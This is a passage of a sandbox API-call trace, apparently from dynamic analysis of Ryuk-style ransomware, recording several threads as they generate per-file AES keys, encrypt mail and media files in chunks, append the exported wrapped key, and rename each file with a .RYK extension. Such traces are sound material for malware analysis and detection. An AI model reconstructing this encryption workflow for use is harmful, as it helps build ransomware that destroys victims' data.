	[0270.835] CryptEncrypt (in: hKey=0x2b8f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b90000*, pdwDataLen=0xa4cfc28*=0xe8, dwBufLen=0xf4250 | out: pbData=0x3b90000*, pdwDataLen=0xa4cfc28*=0xf0) returned 1
	[0270.835] SetFilePointer (in: hFile=0x9a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0270.836] WriteFile (in: hFile=0x9a8, lpBuffer=0x3b90000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0xa4cfc24, lpOverlapped=0x0 | out: lpBuffer=0x3b90000*, lpNumberOfBytesWritten=0xa4cfc24*=0xf0, lpOverlapped=0x0) returned 1
	[0270.836] WriteFile (in: hFile=0x9a8, lpBuffer=0xa4cfc50*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xa4cfc30, lpOverlapped=0x0 | out: lpBuffer=0xa4cfc50*, lpNumberOfBytesWritten=0xa4cfc30*=0x6, lpOverlapped=0x0) returned 1
	[0270.836] CryptExportKey (in: hKey=0x2b8f80, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xa4cfc40 | out: pbData=0x0*, pdwDataLen=0xa4cfc40*=0x10c) returned 1
	[0270.836] CryptExportKey (in: hKey=0x2b8f80, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0xa4cfcb0, pdwDataLen=0xa4cfc40 | out: pbData=0xa4cfcb0*, pdwDataLen=0xa4cfc40*=0x10c) returned 1
	[0270.836] WriteFile (in: hFile=0x9a8, lpBuffer=0xa4cfcb0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xa4cfc30, lpOverlapped=0x0 | out: lpBuffer=0xa4cfcb0*, lpNumberOfBytesWritten=0xa4cfc30*=0x10c, lpOverlapped=0x0) returned 1
	[0270.837] CloseHandle (hObject=0x9a8) returned 1
	[0270.845] CryptDestroyKey (hKey=0x2b8f80) returned 1
	[0270.845] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\soft blue.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\soft blue.htm.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3457
	os_tid = 0x3af4

	[0269.868] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", dwFileAttributes=0x80) returned 1
	[0275.907] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0c
	[0275.908] GetFileSizeEx (in: hFile=0xa0c, lpFileSize=0xa5ff778 | out: lpFileSize=0xa5ff778*=10569) returned 1
	[0275.908] GetFileSizeEx (in: hFile=0xa0c, lpFileSize=0xa5ff788 | out: lpFileSize=0xa5ff788*=10569) returned 1
	[0275.908] SetFilePointerEx (in: hFile=0xa0c, liDistanceToMove=0x2827, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.908] ReadFile (in: hFile=0xa0c, lpBuffer=0xa5ff7d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa5ff740, lpOverlapped=0x0 | out: lpBuffer=0xa5ff7d0*, lpNumberOfBytesRead=0xa5ff740*=0x19, lpOverlapped=0x0) returned 1
	[0275.911] SetFilePointer (in: hFile=0xa0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0275.911] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0xa5ff758 | out: phKey=0xa5ff758*=0x2b8dc0) returned 1
	[0275.911] SetFilePointer (in: hFile=0xa0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0275.911] ReadFile (in: hFile=0xa0c, lpBuffer=0x3c90000, nNumberOfBytesToRead=0x2949, lpNumberOfBytesRead=0xa5ff764, lpOverlapped=0x0 | out: lpBuffer=0x3c90000*, lpNumberOfBytesRead=0xa5ff764*=0x2949, lpOverlapped=0x0) returned 1
	[0275.913] CryptEncrypt (in: hKey=0x2b8dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0xa5ff760*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0xa5ff760*=0xf4250) returned 1
	[0275.913] CryptEncrypt (in: hKey=0x2b8dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c90000*, pdwDataLen=0xa5ff768*=0x2949, dwBufLen=0xf4250 | out: pbData=0x3c90000*, pdwDataLen=0xa5ff768*=0x2950) returned 1
	[0275.913] SetFilePointer (in: hFile=0xa0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0275.913] WriteFile (in: hFile=0xa0c, lpBuffer=0x3c90000*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0xa5ff764, lpOverlapped=0x0 | out: lpBuffer=0x3c90000*, lpNumberOfBytesWritten=0xa5ff764*=0x2950, lpOverlapped=0x0) returned 1
	[0275.913] WriteFile (in: hFile=0xa0c, lpBuffer=0xa5ff790*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0xa5ff770, lpOverlapped=0x0 | out: lpBuffer=0xa5ff790*, lpNumberOfBytesWritten=0xa5ff770*=0x6, lpOverlapped=0x0) returned 1
	[0275.914] CryptExportKey (in: hKey=0x2b8dc0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xa5ff780 | out: pbData=0x0*, pdwDataLen=0xa5ff780*=0x10c) returned 1
	[0275.914] CryptExportKey (in: hKey=0x2b8dc0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0xa5ff7f0, pdwDataLen=0xa5ff780 | out: pbData=0xa5ff7f0*, pdwDataLen=0xa5ff780*=0x10c) returned 1
	[0275.914] WriteFile (in: hFile=0xa0c, lpBuffer=0xa5ff7f0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0xa5ff770, lpOverlapped=0x0 | out: lpBuffer=0xa5ff7f0*, lpNumberOfBytesWritten=0xa5ff770*=0x10c, lpOverlapped=0x0) returned 1
	[0275.914] CloseHandle (hObject=0xa0c) returned 1
	[0275.922] CryptDestroyKey (hKey=0x2b8dc0) returned 1
	[0275.922] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\softblue.jpg.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3458
	os_tid = 0x3af8

	[0269.869] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", dwFileAttributes=0x80) returned 1
	[0270.141] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa14
	[0270.142] GetFileSizeEx (in: hFile=0xa14, lpFileSize=0xa74fbb8 | out: lpFileSize=0xa74fbb8*=514) returned 1
	[0270.142] GetFileSizeEx (in: hFile=0xa14, lpFileSize=0xa74fbc8 | out: lpFileSize=0xa74fbc8*=514) returned 1
	[0270.142] SetFilePointerEx (in: hFile=0xa14, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0270.142] ReadFile (in: hFile=0xa14, lpBuffer=0xa74fc10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa74fb80, lpOverlapped=0x0 | out: lpBuffer=0xa74fc10*, lpNumberOfBytesRead=0xa74fb80*=0x19, lpOverlapped=0x0) returned 1
	[0270.169] CloseHandle (hObject=0xa14) returned 1
	[0270.169] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.htm.ryk"), dwFlags=0x8) returned 1
	[0270.266] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3459
	os_tid = 0x3afc

	[0269.870] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", dwFileAttributes=0x80) returned 1
	[0270.140] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa30
	[0270.141] GetFileSizeEx (in: hFile=0xa30, lpFileSize=0x9f6fc38 | out: lpFileSize=0x9f6fc38*=7794) returned 1
	[0270.141] GetFileSizeEx (in: hFile=0xa30, lpFileSize=0x9f6fc48 | out: lpFileSize=0x9f6fc48*=7794) returned 1
	[0270.141] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x1d50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0270.141] ReadFile (in: hFile=0xa30, lpBuffer=0x9f6fc90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9f6fc00, lpOverlapped=0x0 | out: lpBuffer=0x9f6fc90*, lpNumberOfBytesRead=0x9f6fc00*=0x19, lpOverlapped=0x0) returned 1
	[0270.165] CloseHandle (hObject=0xa30) returned 1
	[0270.166] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.jpg.ryk"), dwFlags=0x8) returned 1
	[0270.270] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3478
	os_tid = 0x3b48


Thread:
	id = 3506
	os_tid = 0x3bc8

	[0275.714] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", dwFileAttributes=0x80) returned 1
	[0275.715] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.msmessagestore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa34
	[0275.715] GetFileSizeEx (in: hFile=0xa34, lpFileSize=0x8c5fa98 | out: lpFileSize=0x8c5fa98*=2113536) returned 1
	[0275.715] GetFileSizeEx (in: hFile=0xa34, lpFileSize=0x8c5faa8 | out: lpFileSize=0x8c5faa8*=2113536) returned 1
	[0275.715] SetFilePointerEx (in: hFile=0xa34, liDistanceToMove=0x203ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.715] ReadFile (in: hFile=0xa34, lpBuffer=0x8c5faf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c5fa60, lpOverlapped=0x0 | out: lpBuffer=0x8c5faf0*, lpNumberOfBytesRead=0x8c5fa60*=0x19, lpOverlapped=0x0) returned 1
	[0275.724] SetFilePointer (in: hFile=0xa34, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0275.724] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8c5fa78 | out: phKey=0x8c5fa78*=0x2b9290) returned 1
	[0275.724] SetFilePointer (in: hFile=0xa34, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0275.724] ReadFile (in: hFile=0xa34, lpBuffer=0x2690000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x8c5fa84, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x8c5fa84*=0xf4240, lpOverlapped=0x0) returned 1
	[0275.772] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8c5fa80*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8c5fa80*=0xf4240) returned 1
	[0275.772] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x8c5fa88*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x2690000*, pdwDataLen=0x8c5fa88*=0xf4240) returned 1
	[0275.953] SetFilePointer (in: hFile=0xa34, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0275.953] WriteFile (in: hFile=0xa34, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x8c5fa84, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x8c5fa84*=0xf4240, lpOverlapped=0x0) returned 1
	[0275.959] SetFilePointer (in: hFile=0xa34, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0275.959] ReadFile (in: hFile=0xa34, lpBuffer=0x2690000, nNumberOfBytesToRead=0xf4240, lpNumberOfBytesRead=0x8c5fa84, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x8c5fa84*=0xf4240, lpOverlapped=0x0) returned 1
	[0276.175] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8c5fa80*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8c5fa80*=0xf4240) returned 1
	[0276.176] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x8c5fa88*=0xf4240, dwBufLen=0xf4240 | out: pbData=0x2690000*, pdwDataLen=0x8c5fa88*=0xf4240) returned 1
	[0276.184] SetFilePointer (in: hFile=0xa34, lDistanceToMove=1000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf4240
	[0276.184] WriteFile (in: hFile=0xa34, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0xf4240, lpNumberOfBytesWritten=0x8c5fa84, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x8c5fa84*=0xf4240, lpOverlapped=0x0) returned 1
	[0276.193] SetFilePointer (in: hFile=0xa34, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0276.193] ReadFile (in: hFile=0xa34, lpBuffer=0x2690000, nNumberOfBytesToRead=0x1bb80, lpNumberOfBytesRead=0x8c5fa84, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x8c5fa84*=0x1bb80, lpOverlapped=0x0) returned 1
	[0276.219] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8c5fa80*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8c5fa80*=0xf4250) returned 1
	[0276.219] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x8c5fa88*=0x1bb80, dwBufLen=0xf4250 | out: pbData=0x2690000*, pdwDataLen=0x8c5fa88*=0x1bb90) returned 1
	[0276.220] SetFilePointer (in: hFile=0xa34, lDistanceToMove=2000000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e8480
	[0276.738] WriteFile (in: hFile=0xa34, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0x1bb90, lpNumberOfBytesWritten=0x8c5fa84, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x8c5fa84*=0x1bb90, lpOverlapped=0x0) returned 1
	[0277.358] WriteFile (in: hFile=0xa34, lpBuffer=0x8c5fab0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8c5fa90, lpOverlapped=0x0 | out: lpBuffer=0x8c5fab0*, lpNumberOfBytesWritten=0x8c5fa90*=0x6, lpOverlapped=0x0) returned 1
	[0277.358] CryptExportKey (in: hKey=0x2b9290, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8c5faa0 | out: pbData=0x0*, pdwDataLen=0x8c5faa0*=0x10c) returned 1
	[0277.358] CryptExportKey (in: hKey=0x2b9290, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8c5fb10, pdwDataLen=0x8c5faa0 | out: pbData=0x8c5fb10*, pdwDataLen=0x8c5faa0*=0x10c) returned 1
	[0277.358] WriteFile (in: hFile=0xa34, lpBuffer=0x8c5fb10*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8c5fa90, lpOverlapped=0x0 | out: lpBuffer=0x8c5fb10*, lpNumberOfBytesWritten=0x8c5fa90*=0x10c, lpOverlapped=0x0) returned 1
	[0277.358] CloseHandle (hObject=0xa34) returned 1
	[0277.612] CryptDestroyKey (hKey=0x2b9290) returned 1
	[0277.613] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.msmessagestore"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.msmessagestore.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3507
	os_tid = 0x3bcc

	[0275.722] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.pat.RYK", dwFileAttributes=0x80) returned 1
	[0275.723] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.pat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.pat.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa2c
	[0275.723] GetFileSizeEx (in: hFile=0xa2c, lpFileSize=0x8e5f558 | out: lpFileSize=0x8e5f558*=0) returned 1
	[0275.723] GetFileSizeEx (in: hFile=0xa2c, lpFileSize=0x8e5f568 | out: lpFileSize=0x8e5f568*=0) returned 1
	[0275.723] CloseHandle (hObject=0xa2c) returned 1

Thread:
	id = 3508
	os_tid = 0x3bd0

	[0275.753] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD.RYK", dwFileAttributes=0x80) returned 1
	[0275.754] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\12.0\\wmsdkns.dtd.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa14
	[0275.754] GetFileSizeEx (in: hFile=0xa14, lpFileSize=0x908fc78 | out: lpFileSize=0x908fc78*=786) returned 1
	[0275.754] GetFileSizeEx (in: hFile=0xa14, lpFileSize=0x908fc88 | out: lpFileSize=0x908fc88*=786) returned 1
	[0275.754] SetFilePointerEx (in: hFile=0xa14, liDistanceToMove=0x1f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0275.754] ReadFile (in: hFile=0xa14, lpBuffer=0x908fcd0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x908fc40, lpOverlapped=0x0 | out: lpBuffer=0x908fcd0*, lpNumberOfBytesRead=0x908fc40*=0x19, lpOverlapped=0x0) returned 1
	[0275.756] CloseHandle (hObject=0xa14) returned 1

Thread:
	id = 3509
	os_tid = 0x3bd4

	[0275.780] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.RYK", dwFileAttributes=0x80) returned 1
